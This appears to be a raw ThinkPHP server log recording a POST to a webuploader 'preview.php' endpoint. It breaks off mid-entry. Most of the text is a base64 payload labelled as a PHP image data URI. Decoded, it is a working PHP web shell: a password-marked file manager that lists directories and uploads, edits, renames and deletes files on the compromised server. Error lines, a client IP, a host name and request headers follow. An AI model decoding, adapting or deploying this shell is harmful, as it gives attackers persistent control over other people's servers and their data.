'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:31:37+08:00 ] 116.213.36.234 POST www.51tianwei.com/app/admincp/ui/webuploader/0.1.5/server/preview.php [运行时间:0.002768s] [吞吐率:361.27req/s] [内存消耗:196.76kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'app', 2 => 'admincp', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 